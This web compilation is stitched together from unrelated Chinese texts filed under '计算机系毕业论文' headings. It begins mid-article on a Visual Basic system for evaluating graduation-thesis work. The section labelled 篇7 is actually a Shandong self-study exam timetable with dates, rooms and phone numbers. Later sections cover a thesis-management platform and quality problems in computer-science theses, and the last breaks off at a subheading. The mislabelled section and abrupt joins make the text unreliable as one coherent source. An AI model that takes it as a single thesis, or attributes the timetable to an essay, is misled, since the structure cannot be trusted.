系统采用流行的Windows人机交互式界面,力争做到界面友好,操作方便。根据本系统的特点和具体要求,我们选用了Windows环境下的VisualBasic5.0可视化编程语言开发本系统。VisualBasic5.0是微软公司开发的功能十分强大而又简单易用的可视化编程环境,编程速度快,界面质量高,是编写Windows应用程序的最佳选择。使用VisualBa¬sic语言开发本系统充分体现了本系统处理数据、信息快捷方便的特点。

(三)评估预测系统的总体结构

在Windows操作系统下安装本系统后,启动系统,进人主菜单,依据界面提示您就可以轻松完成评估工作,系统主框图如下:

三、评估预测系统的优点

1. 量化评估,提前预测,动态管理。该计算机辅助评估预测系统能够对毕业设计(论文)工作方案可能取得的效果进行预测。教学管理人员只要依据该系统的提示输人各项有关毕业设计(论文)工作方案的参数,系统随即能计算出毕业设计(论文)工作的成绩,从而对各项工作方案的结果作出预测。通过反复改变参数——计算成绩,教学管理人员就能够发现各种方案的优缺点,即哪一项安排对毕业设计(论文)工作是有利的,如果实施下去会取得好的工作效果;哪一项安排对毕业设计(论文)工作是不利的,实施下去必将导致毕业设计(论文)工作成绩下滑。这种预测如果安排在毕业设计(论文)工作开始之前,管理者就能有效地对毕业设计(论文)方案进行调整,从而获得满意的效果。我们将99届与往届的工作方案作了一下比较,发现由于老教授退休较多,本次毕业设计年轻教师比例上升,但年轻教师职称偏低,讲师居多,教授、副教授比例严重下降,用该系统初步预测发现毕业设计整体质量将要下滑。根据这个信息,系学术委员会马上采取措施,对年轻教师提出更高要求:指导教师中讲师一级必须具有硕士学历,且应有一定的工程实践经验,在课题选择及指导上必须具有较强的创新性,最后经系学术委员会严格审查后方可上岗。再用本系统预测后发现,毕业设计(论文)工作最终得分并未降低,反而稍有提高。目前,99届毕业设计(论文)工作已经结束,最终得分的确较98届有所提高,与系统预测结果吻合较好。

2. 有效监督,对症下药。毕业设计(论文)工作进行到中期时,系里为了加强对毕业设计(论文)工作的监督管理,一般要求安排一次中期检查。该检查能发现一些问题,但对这些问题造成的结果却很难预知。这样的话,发现缺点往往不能及时纠正,任其发展下去必将导致不良后果。这时,如果用该计算机辅助评估预测系统进行一下“中期评估”,各种问题可能导致的结果将一览无遗,且该系统会帮助教学管理人员清楚地发现各种导致毕业设计(论文)工作成绩偏低的原因,从而有针对性地,高效率地对缺点进行纠正,对优点给予肯定,保证毕业设计(论文)工作顺利进行,最终取得优异成绩。例如,99届某老师所带设计组,由于指导教师出勤率过低,中期检查时系统评估预测该设计小组成绩偏低,系领导马上对指导教师进行了批评教育。由于纠正及时,最终这个小组成绩达到了总体平均成绩。

计算机系毕业论文篇7

020207 市场营销 专 01 山东大学 00019 计算机应用基础 见简章第七条备注

020208 市场营销 本 01 山东大学 06999 毕业论文 10月9日8点开始 山大东区新校综合科研楼B座638室 0531-88364595

020211 饭店管理 专 01 山东大学 00019 计算机应用基础 见简章第七条备注

06998 毕业实习 10月9日8点开始 山大东区新校综合科研楼B座638室 0531-88364595

030106 法律 本  01 山东大学 06999 毕业论文 9月17日辅导,10月15-16日答辩(8点开始) 山大老校逸夫法学楼 0531-88375620

030302 行政管理学 本 01 山东大学 06999 毕业论文 9月18日辅导,10月16日答辩(8点开始) 山大东区老校1号楼 0531-88377327

050207 英语 专 01 山东大学 00593 《听力》 9月17日上午报到,下午1:30考试 山大外语学院 0531-88377500

00594 《口语》

050201 英语 本  01 山东大学 00602 口译与听力 9月3日上午报到,4日上午考试 山大外语学院 0531-88377500

06999 本科毕业考核 9月3日报到,4日下午辅导。10月15日答辩

050305 新闻学 本 01 山东大学 06999 毕业论文 10月9日答辩 山大东区新校文史楼 0531-88361267

050308 新闻学 专 01 山东大学 00019 计算机应用基础 见简章第七条备注

080306 机电一体化工程 专 01 山东大学 02184 机械制图(一) 9月24、25日 山大南区西配楼102室 0531-88392873

02231 机械制造

02235 电子技术基础(一)

02206 微型计算机原理与接口技术

02196 数控技术及应用

02233 电工技术基础

09946 综合作业

080307 机电一体化工程 本 01 山东大学 06999 本科毕业考核 9月24、25日 山大南区西配楼102室 0531-88392873

00421 物理(工)

02239 模拟、数字及电力电子技术

02203 传感器与检测技术

02242 工业用微型计算机

02201 现代设计方法

02244 计算机软件基础(一)

02247 机电一体化系统设计

080701 计算机及应用 专 01 山东大学 04731 电子技术基础(三) 8月27日考核 山大中心校区综合科研楼D座 3层计算中心(山大南路27号) 0531-88364658 0531-88362820

02317 计算机应用技术

00343 高级语言程序设计(一)

04733 微型计算机及接口技术

02121 数据库及其应用

080702 计算机及应用 本 01 山东大学 06999 本科毕业考核 10月15日论文答辩 山大中心校区综合科研楼D座 3层计算中心(山大南路27号) 0531-88362820  0531-88364658

04738 C++程序设计 8月27日考核

02332 数据结构

04736 数据库系统原理

02327 操作系统

04748 Java语言程序设计(一)

02334 软件工程

080709 计算机网络 本  01 山东大学 06999 毕业设计(论文) 9月25日下午答辩 山大东区新校综合科研楼B座812室 0531-88361769

02332 数据结构 9月24日下午考核

04748 Java语言程序设计(一)

04736 数据库系统原理

03143 互连网及其应用

082207 计算机信息管理 专 01 山东大学 02317 计算机应用技术 8月27日考核 山大中心校区综合科研楼D座 3层计算中心(山大南路27号) 0531-88364658 0531-88362820

00343 高级语言程序设计(一)

04755 计算机网络技术

02121 数据库及其应用

02383 管理信息系统

09946 综合作业

082208 计算机信息管理 本  01 山东大学 06999 毕业设计(论文) 9月25日答辩 山大东区新校综合科研楼B座812室 0531-88361769

04738 C++程序设计 9月24日考核

04736 数据库系统原理

03174 软件开发工具

02377 信息系统开发

100701 护理学 专 01 山东大学 06854 临床实习考核 9月17日 山大西区护理学院 0531-88382527

02900 生理学 9月18日 山大西区医学院教学楼一层 0531-88382369

02902 病理学

02904 药理学(一)

03180 生物化学(三)

100705 社区护理学 本 01 山东大学 00019 计算机应用基础 见简章第七条备注

06998 毕业实习 9月9日辅导,9月23日答辩 山大西区护理学院 0531-88382527

06999 毕业论文

100703 中医护理学 专 01 山东大学 11386 中医护理临床实习及考核 9月18日 山大西区护理学院 0531-88382527

02900 生理学 9月19日 山大西区医学院 0531-88382369

100801 药学 专 01 山东大学 06998 专科毕业考核(生产实习) 9月19日8:00报到 山大西区药学院综合楼211号药学院办公室 0531-88382017

02069 人体解剖生理学

02176 分析化学(一)

03028 植物化学

03025 生物化学及生物化学技术

03030 药剂学

03032 药物分析

100901 卫生事业管理 专 01 山东大学 00019 计算机应用基础 见简章第七条备注

06998 毕业实习 9月10日前将写好的毕业论文邮寄到山东大学公共卫生学院继续教育办公室 0531-88382130

081310 营养食品与健康 专 01 山东大学 00019 计算机应用基础 见简章第七条备注

05736 医学基础总论 9月30日上午9:00至11:00 山大西校区综合楼225房间公共卫生学院继续教育办公室 0531-88382130

05738 基础化学

05740 生物化学(四)

05742 微生物与食品微生物

020155 文化产业 本 02 山东师范大学 04126 文化产业创意与策划 9月3日报到,4日考核 山师文学院 0531-86180394

04128 文化市场与营销

06999 毕业论文 9月4日辅导,25日答辩

020210 旅游管理 本 02 山东师范大学 00052 管理系统中计算机应用 见简章第七条备注

06999 毕业论文 9月4日辅导,25日答辩 山师商学院 fengzhi1568@sina.com

030108 律师 本 02 山东师范大学 06999 毕业论文 9月4日辅导,25日答辩 山师政法学院 0531-86180641

030203 社会工作与管理 本 02 山东师范大学 06999 毕业论文 9月4日辅导,25日答辩 山师历史文化学院 13011741263

030301 行政管理 专 02 山东师范大学 00019 计算机应用基础 见简章第七条备注

040101 学前教育 专 02 山东师范大学 00019 计算机应用基础 见简章第七条备注

00857 学前儿童美术教育 9月3日报到,4日考核 山师教育科学学院 0531-86182650

00858 学前儿童音乐教育

06998 毕业实习

00414 现代教育技术 9月3日报到,4日考核 山师信息技术中心 0531-86180372

040102 学前教育 本 02 山东师范大学 06999 毕业论文 9月4日辅导,25日答辩 山师教育科学学院 0531-86182650

040103 小学教育 专 02 山东师范大学 00414 现代教育技术 9月3日报到,4日考核 山师信息技术中心 0531-86180372

06998 毕业实习

040110 心理健康教育 本 02 山东师范大学 00019 计算机应用基础 见简章第七条备注

06999 毕业论文 9月4日辅导,25日答辩 山师心理学院 0531-86180179

050102 秘书 专 02 山东师范大学 00347 办公自动化原理及应用 9月3日报到,4日考核 山师信息技术中心 0531-86180372

050102 秘书 专 15 曲阜师范大学 00347 办公自动化原理及应用 9月16日下午报到,9月17日考核 曲师文学院 0537-4456372

050104 秘书学 本 02 山东师范大学 06999 毕业论文 9月4日辅导,25日答辩 山师文学院 0531-86180394

050104 秘书学 本 15 曲阜师范大学 06999 毕业论文 9月16日下午报到,9月17日考核 曲师文学院 0537-4456372

050105 汉语言文学 本 02 山东师范大学 06999 毕业论文 9月4日辅导,25日答辩 山师文学院 0531-86180394

050208 日语 专 02 山东师范大学 00490 日语听说 9月3日报到,4日考核 山师继续教育学院 0531-86180270

050211 朝鲜语 专 02 山东师范大学 00629 朝鲜语会话及听力 9月3日报到,4日考核 山师继续教育学院 0531-86180270

050407 音乐教育 专 02 山东师范大学 00722 视唱练耳 9月3日报到,4日考核 山师音乐学院 0531-86180610

00992 声乐(一)

00724 键盘与和声(一)

00725 键盘与和声(二)

00726 合唱与指挥基础

06998 毕业实习

050408 音乐教育 本 02 山东师范大学 00723 声乐 9月3日报到,4日考核 山师音乐学院 0531-86180610

00729 键盘

00731 伴奏

06999 毕业论文 9月4日辅导,25日答辩

020103 财税 专 03 山东经济学院 00019 计算机应用基础 8月17日、18日辅导,8月19日考核 山东经济学院成教学院 0531-88583115 web.sdie.edu.cn/cjxy/index.asp

020104 财税 本 03 山东经济学院 00052 管理系统中计算机应用 8月20日、21日两天辅导,8月22日考核 山东经济学院成教学院 0531-88583115 web.sdie.edu.cn/cjxy/index.asp

06999 毕业论文 9月10日辅导;10月16日答辩

020105 金融 专 03 山东经济学院 00019 计算机应用基础 见简章第七条备注

020106 金融 本 03 山东经济学院 00052 管理系统中计算机应用 见简章第七条备注

06999 毕业论文 9月10日辅导;10月16日答辩 山东经济学院成教学院 0531-88583115 web.sdie.edu.cn/cjxy/index.asp

020110 国际贸易 本 03 山东经济学院 00052 管理系统中计算机应用 见简章第七条备注

06999 本科毕业考核 9月10日辅导;10月16日答辩 山东经济学院成教学院 0531-88583115 web.sdie.edu.cn/cjxy/index.asp

020121 调查与分析 本 03 山东经济学院 00052 管理系统中计算机应用 见简章第七条备注

06999 毕业设计(论文) 9月10日辅导;10月16日答辩 山东经济学院成教学院 88583115 web.sdie.edu.cn/cjxy/index.asp

020203 会计 专 03 山东经济学院 00019 计算机应用基础 见简章第七条备注

020204 会计 本 03 山东经济学院 00052 管理系统中计算机应用 见简章第七条备注

06999 毕业论文 9月10日辅导;10月16日答辩 山东经济学院成教学院 88583115 web.sdie.edu.cn/cjxy/index.asp

020222 物业管理 本 03 山东经济学院 00052 管理系统中计算机应用 见简章第七条备注

06999 毕业论文 9月10日辅导;10月16日答辩 山东经济学院成教学院 0531-88583115 web.sdie.edu.cn/cjxy/index.asp

020258 企业管理 专 03 山东经济学院 00019 计算机应用基础 见简章第七条备注

020259 企业管理 本 03 山东经济学院 00052 管理系统中计算机应用 见简章第七条备注

06999 毕业论文 9月10日辅导;10月16日答辩 山东经济学院成教学院 0531-88583115 web.sdie.edu.cn/cjxy/index.asp

100803 中药学 专 04 山东中医药大学 03039 中药化学 7月1日报到,7月2日考核 山东中医药大学长清新校区 0531-89628108

03041 中药鉴定学 7月3日考核

03043 中药炮制学 7月4日考核

03045 中药药剂学 7月5日考核

06998 毕业实习 7月6日考核

020231 劳动与社会保障 专 05 山东轻工业学院 03321 劳动和社会保险业务案例分析 9月3日8:00报到选题,10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

020232 劳动和社会保障 本 05 山东轻工业学院 00052 管理系统中计算机应用 见简章第七条备注

06999 毕业论文 9月3日8:00报到选题,10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

050302 广告学 本 05 山东轻工业学院 09557 综合作业 9月3日8:00报到选题,10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

06999 毕业论文

050405 室内设计 专 05 山东轻工业学院 07999 毕业设计  9月3日8:00报到选题, 10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

00675 构成 8月26日08:20—12:00 青岛、烟台、威海、日照考生在青岛商务学校(青岛市贵州路1号),其它地市的考生在山东轻工业学院长清校区公教楼 0531-89631368

00706 画法几何及工程制图 8月26日13:50—17:30

00707 建筑设计基础 8月27日08:20—12:00

00692 计算机辅助图形设计 8月27日13:50—17:30

00705 表现图技法 8月28日08:20—12:00

00711 展示设计 8月28日13:50—17:30

050406 视觉传达设计 专 05 山东轻工业学院 06998 毕业实习 9月3日8:00报到选题,10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

07999 毕业设计

00675 构成 8月26日08:20—12:00 青岛、烟台、威海、日照考生在青岛商务学校(青岛市贵州路1号),其它地市的考生在山东轻工业学院长清校区公教楼 0531-89631368

00850 广告设计基础 8月26日13:50—17:30

04698 装帧设计 8月27日08:20—12:00

00692 计算机辅助图形设计 8月27日13:50—17:30

00715 包装结构与包装装潢设计 8月28日08:20—12:00

00711 展示设计 8月28日13:50—17:30

050432 室内设计 本 05 山东轻工业学院 06999 毕业设计 9月3日8:00报到选题, 10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

05975 展示设计(二) 8月26日08:20—12:00 青岛、烟台、威海、日照考生在青岛商务学校(青岛市贵州路1号),其它地市的考生在山东轻工业学院长清校区公教楼 0531-89631368

05423 装饰设计 8月26日13:50—17:30

07075 计算机辅助设计 8月27日08:20—12:00

01150 效果图表现技法 8月27日13:50—17:30

050433 视觉传达设计 本 05 山东轻工业学院 06999 毕业设计 9月3日8:00报到选题, 10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

05975 展示设计(二) 8月26日08:20—12:00 青岛、烟台、威海、日照考生在青岛商务学校(青岛市贵州路1号),其它地市的考生在山东轻工业学院长清校区公教楼 0531-89631368

05423 装饰设计 8月26日13:50—17:30

07075 计算机辅助设计 8月27日08:20—12:00

01575 图形设计 8月27日13:50—17:30

050450 电脑艺术设计 本 05 山东轻工业学院 06999 毕业设计 9月3日8:00报到选题, 10月9日8:30答辩 山轻工长清校区3#教学楼B座101室 0531-89631368

05975 展示设计(二) 8月26日08:20—12:00 青岛考生在青岛商务学校(青岛市贵州路1号),青岛、烟台、威海、日照以外地市的考生在山东轻工业学院长清校区公教楼 0531-89631368

05423 装饰设计 8月26日13:50—17:30

07075 计算机辅助设计 8月27日08:20—12:00

04488 3DS MAX 8月27日13:50—17:30

04693 网页设计 8月28日08:20—12:00

050450 电脑艺术设计 本 25 青岛科技大学 06999 毕业设计 论文答辩考生7月15日前联系青科大成教学院自考办。 青岛、烟台、威海、日照考生在青岛科技大学(四方校区)青岛市四方区郑州路53号;请及时查看青岛科技大学成教高职学院网站cj.qust.edu.cn/ 0532-84022960

05975 展示设计(二) 8月26日08:20—12:00

05423 装饰设计 8月26日13:50—17:30

07075 计算机辅助设计 8月27日08:20—12:00

04488 3DS MAX 8月27日13:50—17:30

04693 网页设计 8月28日08:20—12:00

040106 教育管理 专 07 齐鲁师范学院 00019 计算机应用基础 见简章第七条备注

040107 教育管理 本 07 齐鲁师范学院 06999 毕业论文 9月17日辅导,10月16日答辩 齐鲁师范学院老校区(历山路36号) 0531-86401378

020201 工商企业管理 专 08 山东广播电视大学 00019 计算机应用基础 见简章第七条备注

020216 电子商务 本 10 青岛大学 03143 互联网及其应用 论文答辩考生7月10日前与学院联系安排辅导,9月17日报到,18日上机考核、答辩。 青岛大学信息工程学院(宁夏路308号青岛大学西院博知楼513房间) 0532-85952834

00897 电子商务概论

11290 电子商务实践

06999 毕业设计(论文)

020218 人力资源管理 本 10 青岛大学 00052 管理系统中计算机应用 见简章第七条备注

06999 本科毕业考核 9月4日上午9:00辅导;10月16日上午8:00答辩 青岛大学国际商学院市场学系(青岛大学中心校区东1教202) 0532-85953185

020228 物流管理 专 10 青岛大学 00019 计算机应用基础 见简章第七条备注

020229 物流管理 本 10 青岛大学 01574 物流管理软件操作 7月17日以后见mse.qdu.edu.cn 的通知 青岛大学管理科学与工程系(青岛大学东院第一教学楼三楼312室) 0532-85955256

06999 毕业论文

030107 经济法学 本 10 青岛大学 06999 毕业论文 7月2日辅导,10月15日上午8:00答辩 青岛大学法学系(东一教5楼自考办) 0532-85955985

050202 日语 本  10 青岛大学 00019 计算机应用基础 见简章第七条备注

06999 毕业论文 7月16日辅导;10月16日答辩 青岛大学日语系 0532-85953527

050223 韩国语 本 10 青岛大学 01116 口译与听力(韩) 7月16日辅导,17日考试 青岛大学博文楼110室(济南、青岛、日照考生) 0532-85950050

06999 毕业论文 7月16日辅导,10月15日答辩

080806 建筑工程 本  11 青岛理工大学 06999 本科毕业考核 8月26号上午报到,8月26(下午)、27、28日考核 青岛理工大学成教学院 0532-85071582

00421 物理(工)

02441 混凝土结构设计

02443 钢结构

02276 计算机基础与程序设计

05721 流体力学

02449 建筑结构试验

050223 韩国语 本 12 烟台大学 01116 口译与听力(韩) 10月16日考核 烟台大学外语学院339室(烟台、威海考生) 0535-6902101 0535-6902796

06999 毕业论文 7月2日上午8:30辅导,10月15日上午8:30答辩

020109 国际贸易 专 12 烟台大学 00019 计算机应用基础 9月24日考核 烟台大学计算机学院 0535-6707648

020119 餐饮管理 本 12 烟台大学 00052 管理系统中计算机应用 见简章第七条备注

00991 宴会设计 10月16日考核 烟台大学继续教育学院 0535-6903457 0535-6902553

06999 毕业论文 7月17日辅导,10月16日答辩

050303 公共关系 专 13 鲁东大学 00019 计算机应用基础 见简章第七条备注

100702 护理学 本  14 潍坊医学院 06999 毕业论文 7月16日济南、德州、东营、威海、淄博、日照、菏泽、莱芜、油田考生辅导, 7月17日青岛、潍坊、滨州、聊城、济宁、临沂、泰安、烟台、枣庄考生辅导 潍坊医学院护理学院 0536-8462405

18999 临床实习考核

00019 计算机应用基础 7月15日报到,7月16日考试 潍坊医学院新校区计算机教研室 0536-2602738

050218 商务英语 本 15 曲阜师范大学 00602 口译与听力 9月16日下午报到,17日考核 曲师外国语学院 0537-4458590

06999 本科毕业考核

080704 电子技术 专 15 曲阜师范大学 02270 电工原理 9月16日下午报到,17日考核 曲师物理工程学院 0537-4456092

02341 线性电子电路

02343 非线性电子电路

02345 数字电路

02276 计算机基础与程序设计

02278 微型计算机原理及应用

02347 电视技术

080705 电子工程 本 15 曲阜师范大学 06999 毕业论文 9月16日下午报到,17日考核 曲师物理工程学院 0537-4456092

00421 物理(工)

02355 信号与系统

02366 计算机软件基础(二)

02359 单片机原理及应用

02357 数字信号处理

02307 自动控制理论(二)

030401 公安管理 本  20 中国人民公安大学 06999 毕业论文   省公安厅负责实施

020118 餐饮管理 专 23 山东商业职业技术学院 00019 计算机应用基础 见简章第七条备注

00979 烹饪工艺学(二) 10月29日考试 济南花园路23号(山东商业职业技术学院洪楼校区继续教育学院) 0531-81902636

00981 烹饪原料学(二)

00983 餐饮服务

020265 采购与供应管理 专 03 山东经济学院 00019 计算机应用基础 见简章第七条备注

020282 采购与供应管理 本 03 山东经济学院 06999 毕业论文 9月10日辅导;10月16日答辩 山东经济学院成教学院 0531-88583115 web.sdie.edu.cn/cjxy/index.asp

090403 畜牧兽医 本 21 青岛农业大学 00019 计算机应用基础 见简章第七条备注

06999 毕业论文 7月17日辅导,9月25日答辩 青岛农业大学主楼1311房间 0532-88030207

080301 机械制造及自动化 专 25 青岛科技大学 10722 计算机绘图(CAD) 具体时间学校另行通知。请及时查看青岛科技大学成教高职学院网站cj.qust.edu.cn/ 10722计算机绘图(CAD)考核--视报名情况原则上一个地市设一个考点; 08631求职择业与创业指导考核--以考生所在学校为单位集中办理 0532-84022960 84022840

08631 求职择业与创业指导

080602 工业电气自动化技术 专 25 青岛科技大学 08631 求职择业与创业指导 具体时间学校另行通知。请及时查看青岛科技大学成教高职学院网站cj.qust.edu.cn/ 08631求职择业与创业指导考核--以考生所在学校为单位集中办理 0532-84022960 84022840

080708 计算机通信工程 本 19 北京邮电大学 06999 本科毕业考核 考生与学校联系 山东邮电学校 0531-86053781

00421 物理(工)

02327 操作系统

02332 数据结构

计算机系毕业论文篇8

1 问题的提出

毕业设计(论文)是培养学生知识应用能力、实践能力和创新能力的关键环节,能否对毕业设计的各个环节进行有效管理直接关系到毕业设计的质量。近年来,随着毕业生数量的不断增加,学生毕业设计期间面临考研和就业等情况,导师指导毕业设计的时间和精力得不到充分保证,缺乏对毕业设计过程的跟踪、检查、指导,毕业设计质量有所下降。毕业设计包括选题、开题、过程跟踪、撰写论文、答辩等多个环节,每个环节需要提交的文档种类繁多,目前主要是依赖人工进行管理,存在工作量大和工作程序繁琐等问题,给毕业设计管理工作带来了很多麻烦。

计算机专业除了提交毕业设计相关文档外,大部分课题涉及到计算机应用系统的设计与开发,还需提交系统需求说明、系统概要设计、详细设计等文档,期间老师还需跟踪每个阶段系统各功能模块的完成情况。南京理工大学泰州科技学院计算机系在多年毕业设计管理经验的基础上,逐步探索了一套适应本三层次毕业生的管理体系。2012年本专业申报“江苏省大学生创新计划”项目(编号2012JSSPITP3017),组织教师、学生开发了一套毕业设计管理系统,并将该管理体系融入其中,起到了较好的效果。

2 毕业设计制度管理

建立健全毕业设计各项管理制度是保证学生高质量完成毕业设计的前提,计算机系成立以系主任为首的毕业设计工作领导小组,负责毕业设计的教学管理。教务处强化宏观管理,贯彻落实学院有关毕业设计工作的要求,制定了《南京理工大学泰州科技学院毕业设计(论文)管理规定》及相关规范化文件。计算机系专门制订了《计算机科学与技术系毕业设计工作实施细则》、《计算机科学与技术专业毕业设计大纲》,通过一系列具体措施保障毕业设计的顺利开展。

3 毕业设计过程管理

为了保证毕业设计(论文)质量,计算机专业严抓毕业设计过程。毕业设计分解为选题审题、任务书下达、毕业设计指导、论文评审、答辩五个过程和开题与开题报告、中期检查、设计成果验收三个监控节点,如图1所示。

3.1 五个过程控制

(1)选题审题过程

为了保证毕业设计的选题能够达到专业人才培养的要求,提高学生应用能力和创新能力,本专业要求指导教师提前一个学期准备毕业设计课题,由专业教研室和系部进行两级审核,对其性质、难度、分量及综合训练等情况进行把关。以保证所选课题能够培养学生的创新能力和应用开发能力。同时,计算机专业的课题强化学生的动手实践能力的培养,大多数课题是工程技术类或软件开发类课题,且多数面向企业,对学生理论联系实际、培养应用能力和创新能力起到了很好的促进作用。

(2)任务书下达过程

确定选题后,由指导教师依据毕业设计工作规范拟定毕业设计任务书,提交教研室严格把关和审核后下达给学生。指导教师向学生明确课题的具体要求,并指导学生如何完成毕业设计。毕业生在此阶段查阅相关资料,熟悉开发平台,需要提交的技术文档包括:需求分析报告、系统概要设计说明书等。

(3)毕业设计指导过程

该阶段毕业生在指导教师的指导下,按任务书的计划进行课题的研发。期间要求每位教导教师每周与毕业生至少辅导二次,学生可采用电话、Email以及见面等多种形式与指导教师沟通,向指导教师咨询相关技术问题。所有指导教师及时解答学生们所提的问题,并辅导学生完成软件系统的设计、开发、调试、运行。

(4)论文评审过程

本专业要求毕业生在毕业答辩前15天提交研究成果和论文初稿,由指导教师进行预审,对设计成果和论文初稿提出整改和完善意见。指导教师从论文格式到内容进行严格把关,对相关的软件系统做最后的验收、测试,并根据学生论文完成质量给出成绩。通过指导教师审核的学生论文,由系毕业设计领导小组指定教师互评,并根据完成质量给出互评成绩。

(5)答辩过程

审核通过的毕业生可参加答辩,答辩按时间顺序分为:公开组观摩答辩、正式答辩、补答辩。其中观摩答辩是对各组推选出来的优秀毕业生进行公开答辩。通过观摩答辩,使学生熟悉规范的毕业答辩过程。答辩遵循公正、公平、公开的原则,最终由答辩委员会给出答辩成绩。

3.2 三个监控节点

(1)开题报告与开题

在毕业设计任务书下达后组织学生提交开题报告,完成开题。该监控节点不仅要求学生给出书面开题报告,而且要求学生在教研室组织的开题报告会上介绍和展示,教师着重就其设计思路和技术路线进行把关,然后由教研室主任审核,对不符合要求者要求限期修改,重新开题。设置该监控节点的目的在于监控学生课题调研、需求分析、总体设计完成情况。

(2)中期检查

在学院规定的期中教学检查期间,完成毕业设计中期检查。中期检查主要对毕业生前半阶段的设计情况进行检查,包括设计的进度和质量如何,评估学生能否正常完成毕业设计任务,是否需要调整,对一些差生要制订帮扶措施。

(3)设计成果验收

在学生毕业答辩前,由答辩小组组织对学生的设计成果进行最后的验收,主要从系统设计的科学性、实现的方法和手段以及运行界面和功能模块进行验收。

4 毕业设计质量管理

严格的毕业设计质量监控体系是学生高质量完成毕业设计的纪律组织体系,在毕业设计工作期间,督导组专家对毕业设计的各个环节进行检查督促和指导,发现问题后及时与指导教师和有关部门反馈,保证毕业设计工作的正常和有效进行。

为了保证毕业设计(论文)的质量,本专业实现系主任-指导教师-互评教师三级审查制度。还通过毕业设计过程跟踪表对于毕业设计各个环节和阶段的质量要求和任务完成的时限做出明确规定,并对教师的指导工作进行督导。特别是对毕业生提交的计算机专业的设计文档和程序进行严格审核和把关,由各审核人签字确认。

在毕业答辩前10天提交毕业设计的成果和设计论文初稿,由答辩小组教师进行验收和初审,然后提出整改方案和意见,让毕业生在答辩之前进行最后的完善和修改。在指导教师和论文评阅教师都同意提交答辩后,由教研室对学生的毕业答辩资格进行审核,通过审核的学生方可进入毕业答辩。由于各个过程都能严格把关,学生毕业设计的论文质量逐年提高。本专业2008届-2011届毕业生的毕业设计成绩统计如表1。

5 网络平台管理

为了加强毕业设计的过程跟踪和电子文档的规范化管理,本专业基于B/S架构、平台开发了一个毕业设计管理系统,系统具有学生信息管理、教师信息管理、课题信息管理、选题管理、过程跟踪、文档管理、角色管理等功能。系统在南京理工大学泰州科技学院得到应用,为广大师生提供了一个毕业设计交流和管理的平台。

系统分为学生模块、教师模块、管理员模块。学生模块包括学生基本信息维护、学生选题、上传文档、提交进度、讨论区留言等功能;教师模块包括教师基本信息维护、上报课题、查看学生进度、管理成绩等;管理员模块包括公共、审核课题、上报成绩、设置权限、文档归档等。

6 结束语

经过近几年的研究探索,南京理工大学泰州科技学院计算机系已经逐步建立起一套特色鲜明、适合本三层次计算机专业毕业生的毕业设计管理体系。该体系提出的五个过程和三个监控点规范了毕业设计管理的流程,利用网络化管理平台减少了繁琐的工作量,提高了毕业设计的效率和质量。近几年本专业毕业生的成绩和研究成果有了明显提高,并在2011年顺利通过江苏省教育厅关于毕业设计的抽查工作。

参考文献:

[1]郭秀娟.基于B/S模式的毕业设计管理开发与实现[J].计算机技术与发展,2010,20(3):239-242.

[2]段华斌.基于工作流的毕业设计过程管理系统的设计与实现[D].中南大学,2008.

[3]张卓.基于JSP的MVC开发模式在毕业设计管理系统中的应用[J].科学技术与工程,2007,7(11):1671-1819.

计算机系毕业论文篇9

现在计算机专业学生的毕业设计大体可以分为:理论、软件和硬件。实际上学生的毕业设计多是做软件或硬件的,做理论的不多,即使做理论也要求结合实际问题来进行编程验证。设计涉及的方面一般有:网页设计;网页编程;平面设计;动画设计;网络设计、搭建、调试和维护;网络安全;单片机及自动控制等。这些设计工作就是要培养学生综合运用所学的知识的能力,包括软件开发方法、算法设计数据库设计、程序编写、程序调试等。如何通过这样的训练来真正达到毕业设计的目的,培养学生的实践能力、创新能力和初步科研能力,需要学校、指导教师和学生自己三方面的共同努力。然而,近几年来,随着高校扩招、师资短缺以及计算机知识更新过快等因素的出现,计算机专业的本科毕业设计质量不断下降,毕业设计中的问题层出不穷。如果不能很好的解决这些问题,毕业设计就难以得到提高。其中具有代表性的问题主要有以下几个方面。

1.毕业设计的选题不够合理。

毕业设计的选题是决定毕业设计质量的先决条件。每年学生毕业设计的选题多是与上一届大同小异,不少学生都会选择做管理系统,图书管理系统、人事管理系统、学生管理系统等。学生之所以选这些系统来做,也是因为这些系统的实现从技术上来讲其实是大同小异的,系统的实现方法在许多计算机书籍中可以找到,类似的源代码在网上也很容易找到,已经成型的论文也颇多,到时候学生可以把界面一换,就成了自己做的系统,把别人的论文稍加修改就成了自己的论文。但这些题目毫无创新性可言,对学生综合能力培养的帮助不大。

2.学生思想重视不够,投入精力不足

学生大多认为毕业设计仅是一种形式,对自己的正常毕业以及以后的工作和学习没有丝毫影响,忙于参加各种各样的招聘会和公司面试,在毕业设计环节上投入精力甚微。毕业设计的时间与考研初试、复试时间重合,在两者不可兼顾的情况下,多数学生都选择了准备考研,而不是做毕业设计,往往都是临近答辩时,才匆匆忙忙,东拼西凑,草草完成,甚至出现严重的抄袭想象。以这种心态和这样的方式写出来的论文,质量当然也就难以得到保障。

3.指导教师的选择不当和责任感不强

由于计算机专业发展比较晚,具有丰富项目实践经验的老教师十分稀缺,计算机专业本身是一个实践性要求很强的专业,没有这些实践体会,就很难理解软件开发过程、软件技术如何应用到生产这些问题,从而影响了毕业设计的质量。部分指导老师对毕业设计的目的认识不足,责任心欠缺,对学生疏于指导。学生本来就对毕业设计的重视不足,再加上指导老师疏于管理,毕业设计质量下滑也就成了必然的趋势。

4.对毕业设计的监管有所欠缺

毕业设计环节的教学监管不够到位,对指导老师的要求不够明确。检查是大多基于学生和指导老师填写的各种表格和文档,指导老师没有在学生做毕业设计的过程中起到监管和指导的作用,因而对学生的要求也就随之任之。这种方法对毕业设计的过程起不到监控的作用。毕业设计的最终成绩取决于指导老师的评定和答辩。由于本科生数量过多,答辩任务很重,导致答辩的时候,把关不严。这势必造成学生的侥幸心理,觉得不好好做毕业设计也能通过。如此欠缺的监管制度,毕业设计的质量也就自然不佳。

三、提高计算机专业本科毕业设计质量的措施与对策

毕业设计可以反映一个计算机专业的学生的综合实践水平。毕业设计不仅可以培养学生将理论与实践相结合的能力,还可以激发学生的创新精神,所以一定要保质保量的完成毕业设计。针对毕业设计中出现的问题,可以采取以下的措施解决。

1.选择合适的毕业设计题目

